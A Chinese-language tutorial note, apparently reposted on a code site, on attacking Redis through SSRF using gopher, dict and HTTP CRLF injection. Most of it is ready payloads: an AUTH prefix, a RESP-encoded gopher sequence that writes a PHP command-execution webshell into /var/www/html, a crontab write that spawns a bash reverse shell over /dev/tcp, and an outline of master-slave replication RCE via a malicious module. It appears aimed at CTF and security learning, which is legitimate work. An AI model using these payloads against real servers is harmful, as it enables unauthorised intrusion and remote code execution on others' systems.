ssrf與redis安全


基礎命令

  • 遠程登錄
    redis-cli -h host -p port -a password
    • SET runoobkey redis
    • DEL runoobkey
    • keys *獲取所有鍵值
  • 字符串
    • get runoobkey
  • 連接
    • AUTH "password" 驗證密碼
  • 字符串操作
    • set tmp 1\nbitop xor res flag tmp復制指定鍵的一種方法
    • setrange flag 4 z修改字符串

Redis客戶端支持管道操作,可以通過單個寫入操作發送多個命令,而無需在發出下一個命令之前讀取上一個命令的服務器回復。所有的回復都可以在最后閱讀

dict/gopher/http

dict只能執行一條命令dict://0.0.0.0:6379/auth pass,所以無法用來攻擊需要認證的redis
gopher支持多行。因此要在傳輸的數據前加一個無用字符。比如gopher://ip:port/_ 通常用_,並不是只能用_,gopher協議會將第一個字符"吃掉"。
http如果使用存在crlf注入的方式,一樣可以用http來攻擊redishttp://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding

攻擊方式

攻擊需要認證的redis

在payload前加上%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

寫webshell

推薦工具Gopherus
urldecode工具生成的payload,具體含義可以參考淺析SSRF認證攻擊Redis

*1
$8
flushall
*3
$3
set
$1
1
$34


<?php system($_GET['cmd']); ?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save


翻譯成redis命令大概就是

flushall
set 1 "\n\n<?php system($_GET['cmd']); ?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save

可見利用的是redis數據庫備份的功能來寫webshell

寫crontab反彈shell(僅限centos)

*1
$8
flushall
*3
$3
set
$1
1
$64


*/1 * * * * bash -c "sh -i >& /dev/tcp/127.0.0.1/1234 0>&1"



*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save


原理和寫webshell一樣,只是改成寫crontab

flushall
set 1 "\n\n*/1 * * * * bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

主從復制

GKCTF-EzWeb+redis未授權訪問
初探Redis-wdb玄武組ssrfme&pwnhub公開賽

我們redis主從復制RCE的方式,其實就是利用了redis簡潔的協議,構造惡意服務器,將原本用於存儲備份的rdb文件,替換為我們惡意的exp.so。這樣節點redis中就會自動生成exp.so,使得我們可以用load_module進行rce.

rogue-server.py來自https://github.com/xmsec/redis-ssrf,用這里的ssrf-redis.py生成執行命令的payload
exp.so來自https://github.com/n0b0dyCN/redis-rogue-server


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM